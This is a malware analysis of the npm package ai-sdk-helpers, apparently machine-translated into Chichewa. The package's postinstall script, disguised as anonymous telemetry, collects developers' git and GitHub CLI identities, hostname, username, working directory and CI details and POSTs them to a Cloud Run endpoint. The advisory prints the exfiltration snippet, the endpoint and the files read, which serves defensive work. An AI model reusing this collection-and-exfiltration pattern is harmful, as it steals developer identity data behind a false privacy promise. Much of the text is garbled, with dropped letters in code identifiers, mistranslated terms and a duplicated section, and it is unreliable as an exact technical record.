TL; DR
Phukusi limodzi la npm, othandizira ai-sdk, imadziwonetsera yokha ngati chida chopangira Vercel AI SDK, chopereka njira zotsatirira ndalama, njira zobwezera zomwe zimaperekedwa kwa opereka, komanso othandizira kutsatsira makanema.
Chikalata chake cha nthawi yokhazikitsa chimatsegulidwa ndi chikwangwani chowululira chokonzedwa bwino chomwe chikufotokoza matenda osadziwika, akulonjeza kuti palibe code ya gwero, ma tokeni, kapena ziyeneretso zomwe zimatumizidwa, kulemekeza DO_NOT_TRACK kusankha kusachitapo kanthu, ndikulumikiza patsamba la mfundo za telemetry.
Kenako script yomweyi imawerenga git identity ya wopanga mapulogalamu, GitHub CLI configuration, machine hostname, OS username, working directory, ndi CI provider.
Deta imeneyo imatumizidwa ngati JSON ku Google Cloud Run endpoint, zomwe zimapangitsa kuti pakhale kusiyana pakati pa mfundo za telemetry zomwe zanenedwa ndi minda yeniyeni yomwe yasonkhanitsidwa.
Phukusili linasindikizidwa m'mabaibulo makumi awiri ndi awiri mkati mwa burst imodzi ya masekondi 83, ndipo script yokhazikitsa ndi yofanana ndi byte-for-byte pa mtundu uliwonse wolembedwa chizindikiro.
Mabaibulo asanu ndi awiri mwa asanu ndi atatu omwe adawunikidwanso ndi pipeline sizinaperekedwe m'malo mwa ML classifier chifukwa kalembedwe ka consensus-banner kamaoneka ngati telemetry yovomerezeka.
Timagawa m'magulu ai-sdk-helpers ngati yoipa kutengera kusonkhanitsa ndi kutulutsa chidziwitso cha wopanga mapulogalamu nthawi yokhazikitsa.
Kuopsa: kwakukulu.
Kapangidwe ka kukhazikitsa
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }atakhazikitsa imayamba yokha npm kukhazikitsa, musanatumize khodi iliyonse yolengezedwa ya phukusili. zolemba/postinstall.js ndi komwe machitidwe onse a nthawi yokhazikitsa amakhala.
Imayamba ndi ndemanga yotsekedwa ndi chidziwitso cha nthawi yogwirira ntchito cholembedwa mu kaundula wa pulojekiti yotseguka yodziwa zachinsinsi:
>Mukayika ma ai-sdk-helpers, timayesa mwachangu momwe zinthu zilili ndikupereka lipoti la matenda osadziwika ... Detayo ndi yosadziwika kwathunthu - timasonkhanitsa nsanja yanu, mtundu wa Node, ndi chizindikiro cha makina anu chodziwikiratu chimodzi. Palibe code ya gwero, ma tokeni, kapena ziyeneretso zomwe zimatumizidwa.
Imalumikizanso chipata chodzipatula chomwe chikugwira ntchito, khodi yoyamba yogwiritsidwa ntchito mufayilo:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }Kuyamba ndi kulumikiza chipata ichi ndi komwe kumapangitsa kuti zina zonse ziwerengedwe ngati zogwirizana: wopanga mapulogalamu amene amakhazikitsa `D_NOT_TRACK` Kukhazikitsa konseku kumatsirizika mwakachetechete ndipo kumatsiriza phukusili kumalemekeza mwambowu. Kusankha kolemekezeka ndi kwenikweni. Chomwe chimateteza, kwa aliyense amene sakukhazikitsa, ndi gulu lomwe lafotokozedwa pansipa - osati "pulatifomu yopapatiza, mtundu wa Node, ndi hash ya njira imodzi" yomwe mayina azidziwitso amatchula.
Pansi pa chipata chimenecho, script imasonkhanitsa katundu wolemera womwe umapitirira kwambiri kufotokozerako.
- *Gchizindikiritso.* rkuthetsaScmChidziwitso ()` mitu `~.gitconfig`,`~.config/git/config`,ndi pulojekiti yomwe ilipo pano.it/config`,akufotokoza `[ser]` gawo, ndikubweza zomwe zakonzedwa commit imelo. Ngati palibe fayilo yosinthira yomwe ikupereka imelo, imabwerera ku `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,ndi `EAIL` Zosintha za nvironment. Chingwe cha docstring pamwamba pa ntchito chimapanga mafelemu a read ngati njira "yoperekera ma installs pa makina omwe ali ndi munthu yemweyo (monga laputopu + CI)" — cholinga chomwe chanenedwa chomwe chimafuna chizindikiritso chokhazikika cha wopanga mapulogalamu, chomwe commit zinthu zotumizira imelo.
- *Gakaunti ya tHub.* rsolveGitHubIdentity()` mitu `~.config/gh/hosts.yml` ndi `~.config/gh/hosts.yaml` fayilo yosinthira yolembedwa ndi GitHub CLI pamene wopanga mapulogalamu atsimikizira - ndipo regex-amatulutsa `uer:` ndi `eail:` Ma field. Fayilo imeneyo imasunganso chizindikiro cha GitHub OAuth; regex ya script imayang'ana kwambiri dzina lolowera ndi mizere ya imelo ndipo siichotsa chizindikirocho. Chifukwa chake, zomwe zanenedwa ndi banner yowululira kuti "palibe zizindikiro ... zomwe zimatumizidwa" ndi zoona pagawo limodzilo pomwe zizindikiro za akaunti yozungulira zimawerengedwa ndikutumizidwa.
- *Hst ndi CI zala.* ndiye kuti script yake ikusonkhanitsa `o.dzina la host()`,`o.userInfo().dzina lolowera`,mtundu wa Node, nsanja ndi zomangamanga, `pocess.cwd()`,ndi chizindikiro cha opereka chithandizo cha CI chomwe chathetsedwa poyang'ana zosintha zachilengedwe za opereka chithandizo asanu ndi atatu (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, ndi ma generic-CI flags awiri). Mndandanda wa opereka chithandizo umawerengedwa ngati mndandanda wa komwe script ikuyembekezera kuchita - zipolopolo zolumikizirana ndi zomangamanga zokha pipelinendi zofanana.
Zonsezi zagawidwa m'magulu awiri: `d imodzianthu osadziwa Mulungu bject, ndi minda ya wopanga mapulogalamu yomwe yasonkhanitsidwa pansi pa `ibungwe` ey ndi deta ya host pansi pa `rnthawi` ndi `cntext` ma eys, kenako amasinthidwa ndikutumizidwa:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();Yankho lake latayidwa ndipo zolakwika zonse zathetsedwa — ndemanga imati “telemetry siyenera kusokoneza kukhazikitsa.” Dzina la endpoint hostname limalemba ntchito ya Google Cloud Run mu `echingwe-kumadzulo1` gulu.
Nkhaniyi ili ndi kusiyana. Chikwangwanicho chimatchula magulu atatu a deta — nsanja, mtundu wa Node, hash yozindikiritsa makina. Malipiro amatumiza git yeniyeni ya wopanga mapulogalamu. commit imelo, dzina lawo lolowera la GitHub ndi imelo, dzina lawo lolowera la makina ndi dzina la akaunti ya OS, njira yawo ya polojekiti, ndi malo awo a CI. Magawo omwe amazindikiritsa *prson ndi maakaunti awo* ndendende minda yomwe kuulula sikunatchulidwe.
README imalimbitsa kapangidwe kake kuchokera mbali inayo. Gawo lake la "Telemetry" limabwereza zomwe akunena za kusadziwika ndipo limalumikiza mawu akuti `D_NOT_TRACK` o `cnsoledonotrack.com`,tsamba lenileni la anthu ammudzi lomwe limalemba za mwambo wosankha — kubwereka chinsinsi chodziwika bwino standard kuti chidziwitsocho chiwerengedwe mwachizolowezi.
Nthawi
Iyi ndi nkhani yopezeka m'paketi imodzi yokhala ndi mbiri yochepa kwambiri komanso yodzaza kwambiri yofalitsa. Palibe njira yotsatirira kampeni ya milungu ingapo — mitundu yonse ya mabuku idakankhidwira pa liwiro la makina.
| Pamene (UTC) | chochitika |
|---|---|
| 2026-06-03 20:31:20 | Mtundu woyamba (0.1.0) yofalitsidwa mpaka npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Mabaibulo onse 22 (0.1.0 kudzera 1.4.2) yofalitsidwa mu kuphulika kwa masekondi 83 kodziyimira pawokha. |
| 2026-06-04 | Mabaibulo asanu ndi atatu olembedwa ndi zizindikiro zozindikira; kusanthula pamanja kumatsimikizira kusonkhanitsa ndi kutulutsa chidziwitso nthawi yoyika. Phukusili lidalipobe pa npm panthawi yosanthula. |
Zenera la masekondi 83 m'mabaibulo 22 a semantic palokha ndi chizindikiro cha khalidwe: makwerero a mtundu (`01.0`,`01.1`,... `14.2`)ikuwonetsa pamwamba pa pulojekiti yomwe imasungidwa bwino yokhala ndi mbiri yotulutsidwa, yopangidwa kamodzi kokha. Script yokhazikitsa sisintha pa makwerero amenewo — onani pansipa.
Zizindikiro za mgwirizano
Nthawi yoyika ndi yofanana pa mitundu yonse yofalitsidwa.ff` f`sripts/postinstall.js` pakati pa mtundu `02.1 `` mtundu wa `14.2 `` sichibweretsa kusiyana kulikonse; khalidweli ndi chala chimodzi chokhazikika, osati katundu wosinthika.
Network
Zenera la masekondi 83 m'mabaibulo 22 a semantic palokha ndi chizindikiro cha khalidwe: makwerero a mtundu (`01.0`,`01.1`,... `14.2`)ikuwonetsa pamwamba pa pulojekiti yomwe imasungidwa bwino yokhala ndi mbiri yotulutsidwa, yopangidwa kamodzi kokha. Script yokhazikitsa sisintha pa makwerero amenewo — onani pansipa.
Zizindikiro za mgwirizano
Nthawi yoyika ndi yofanana pa mitundu yonse yofalitsidwa.ff` f`sripts/postinstall.js` pakati pa mtundu `02.1 `` mtundu wa `14.2 `` sichibweretsa kusiyana kulikonse; khalidweli ndi chala chimodzi chokhazikika, osati katundu wosinthika.
Network
| chizindikiro | Role |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Malo otulutsira zinthu (exfiltration endpoint) amalandira ma HTTPS POST requests ndi JSON payloads. Amasungidwa pa Google Cloud Run mu europe-west1 chigawo. |
Zomangamanga za Decoy
| chizindikiro | Role |
|---|---|
ai-sdk.guide | Phukusi loyambira ndi tsamba lawebusayiti lomwe likuwonetsa dzina la wolemba "AI SDK Guide". |
ai-sdk.guide/telemetry | Ulalo wa mfundo za telemetry womwe watchulidwa mu chidziwitso chowulula nthawi yoyika. |
hello@ai-sdk.guide | Imelo ya wolemba yalengezedwa mu package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Malo osungiramo zinthu omwe alengezedwa ndi phukusili. |
Mafayilo amawerengedwa nthawi yokhazikitsa
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` achitsulo
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `eail`
Zizindikiro za khalidwe
- – m`pkukhazikitsa` kugwiritsa ntchito script ya Node yolumikizidwa
- - chipata chodzipatula (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)yoperekedwa ngati gawo lachinsinsi, patsogolo pa kusonkhanitsa zidziwitso
- - tbound HTTPS POST ya chinthu cha JSON chomwe chili ndi imelo ya git, chizindikiritso cha GitHub, dzina la hostname, dzina lolowera la OS, cwd, ndi chizindikiro cha CI
- - zolemba zofanana zoyika pa makwerero ofalitsidwa mwachangu
Khalidwe ndi Kuonedwa
Sitipereka chilichonse kupatula zomwe phukusi ndi metadata ya registry zili nazo.
Wosunga mbiri ya npm ndi akaunti `aielsimon`,ndi adilesi `aiel@vigilance.security`.Kaundulayo amalemba imelo imeneyo ngati yosatsimikizika ndipo dzina la akauntiyo loyang'anira gwero silinatsimikizidwe.ckage.json`,padera, akuwonetsa wolembayo ngati "AI SDK Guide `ello@ai-sdk.guide>`”ndi tsamba lofikira la `a-sdk.guide` ndi malo osungiramo zinthu pansi pa `gbungwe la thub.com/ai-sdk-guide`. Dzina la imelo la akaunti yofalitsa (`vigilance.security`)ndi chizindikiritso cha wolemba yemwe ali mu phukusi (`a-sdk.guide`)ndi madera osiyanasiyana.
The `a-sdk.guide` chinthucho chilipo ndipo chimayankha, ndipo `/elemetry` ath resolves — chizindikiritso cha decoy chimathandizidwa ndi kupezeka kwa intaneti komwe kungapezeke osati ulalo wakufa, zomwe zimapangitsa kuti fremu ya phukusili ikhale yodalirika.
**Kutha kuwona.** Pa nthawi yokhazikitsa, phukusili limawerenga maina a opanga mapulogalamu ndi mafayilo okonzera akaunti, limalemba zala za malo osungira ndi CI, ndikutumiza zotsatira zake ku malo omalizidwa olamulidwa ndi wogwiritsa ntchito, pomwe likuwonetsa chidziwitso chomwe chimafotokoza deta yocheperako komanso yosadziwika. Timafotokoza khalidweli; sitinena chifukwa chake. Owerenga omwe amawunika phukusili - kuphatikiza gulu lililonse lomwe limazindikira maina ofalitsa - ayenera kuyeza kusiyana komwe kumawonekera pakati pa kuchuluka kwa deta komwe kwatchulidwa ndi komwe kukuchitika.
Zotsatira, zochitika, ndi malangizo kwa oteteza
Ndani wawululidwa. Aliyense amene wayika othandizira ai-sdk — mwachindunji kapena monga transitive dependency — imayendetsa zosonkhanitsa pa makina amenewo. Chifukwa choyambitsa ndi atakhazikitsa, khodi ya laibulale yolengezedwa siyenera kulowetsedwa kuti deta iyende bwino; kukhazikitsa kokha ndikokwanira. Malo ofunikira kwambiri ndi malo ogwirira ntchito opanga mapulogalamu omwe ali ndi git identity yokonzedwa komanso GitHub CLI yovomerezeka, ndi ma CI runners, pomwe kuzindikira kwa CI-provider kwa script kumasonyeza kuti zosonkhanitsirazo zikuyembekezeka kugwira ntchito mkati mwa build. pipelinekomanso pa ma laptops.
Zimene zimavumbula. Sizinsinsi za kugwiritsa ntchito nthawi zambiri - katundu wolipidwa umayambira pa amadziwikira: wa wopanga mapulogalamu commit imelo, dzina la akaunti yawo ya GitHub ndi imelo, mayina a makina ndi akaunti, ndi njira ya polojekiti. Imeneyo ndi precismapu a omwe adayika phukusili, pamakina ati, mu malo osungiramo zinthu, komanso pansi pa dongosolo la CI. Kwa bungwe, zolemba zingapo zotere zomwe zaphatikizidwa pamodzi zitha kuwonetsa mainjiniya ati ndi makina ati omanga omwe adatenga kudalira - kothandiza ngati chitsogozo cha zochita zotsatizana kwambiri, ngakhale kuti machitidwe a phukusili amasiya kusonkhanitsa ndi kutumiza.
Chizolowezi: telemetry ngati chivundikiro. Zipangizo zovomerezeka za opanga mapulogalamu zimasonkhanitsa njira zodziwitsira zokhazikitsa zomwe sizikudziwika, komanso njira zochitira izi mwaulemu - chidziwitso chowulula, a MUSATSATE ulemu, mbendera yosankha, ulalo wa mfundo — ndizodziwika bwino. othandizira ai-sdk imabwerezanso malamulo onse anayiwo mokhulupirika ndipo imawagwiritsa ntchito ngati chotetezera kuti anthu azidziwana. Kukhalapo kwa chikwangwani chovomereza, choletsa kuchotsedwa, kapena ulalo wa mfundo zachinsinsi si umboni wakuti phukusi ndi lodalirika; zowongolera zimenezo ndizotsika mtengo kutsanzira. Kuwunika kokhako kodalirika ndi komwe khodiyo imawerenga komanso komwe imatumiza.
Phukusili lilinso ndi zotsatira zoyezeka pa kugawa kwa zinthu zodziyimira pawokha. pipeline Yawunikidwanso, ndemanga za script yokhazikitsa, mayina okonzedwa bwino a minda, ndi chipata chodzipatula chachikhalidwe chinapeza ngati telemetry wamba: asanu ndi awiri mwa asanu ndi atatu adabweranso osatsimikiza kuchokera ku ML classifier osati yoipa. Chizindikiro chomwe chimathetsa kusamveka bwino sichili mu prose — chili m'mafayilo enieni omwe script imatsegula (~/.gitconfig, ~/.config/gh/hosts.yml) ndi komwe imatumiza. Wowunikira, kaya wodziyimira pawokha kapena munthu, amene amawerenga zomwe zawululidwazo ndikuyima pamenepo adzafika pamlingo wolakwika; kutsimikiza kuyenera kuchokera ku mfundo zokhudzana ndi kuchuluka kwa deta.
Malangizo kwa oteteza:
- Ikani ndi zolemba zotsekedwa mwachisawawa — npm kukhazikitsa -ignore-scripts, kapena seti kunyalanyaza-zolemba = zoona in .npmrc ndipo yendetsani masitepe omangira omwe ayesedwa bwino. Izi zimathetsa vuto atakhazikitsa-kusonkhanitsa zinthu zonse zomwe zachitika.
- Musamaone ngati zizindikiro zodziteteza. MUSATSATE cheke kapena ulalo wa "telemetry policy" sukuuzani chilichonse chokhudza deta yomwe script imasonkhanitsa pamene chipata sichinakhazikitsidwe.
- Werengani mbedza yokhazikitsa musanagwiritse ntchito ma phukusi othandizira a AI-ecosystem. Malo a Vercel AI SDK ndi cholinga chofulumira komanso chodalirika kwambiri; atakhazikitsa zomwe zimakhudza ~/.gitconfig or ~/.config/gh/ ndi chizindikiro chomveka bwino mosasamala kanthu za momwe ndemanga zozungulira zalembedwera.
- Yang'anirani kutuluka kwa nthawi yomanga. HTTPS POST yotuluka panthawi yomanga npm kukhazikitsa, makamaka ku endpoint yatsopano ya cloud-function, imawoneka pa netiweki ndipo ndi malo odziwika bwino a CI environments.
- Yang'anirani makwerero amitundu yokakamizidwa. Phukusi lomwe mbiri yake yonse ya semantic-version imawonekera mkati mwa masekondi, yokhala ndi script yosasinthika yokhazikitsa, ikuwonetsa mbiri yokonza yopangidwa.
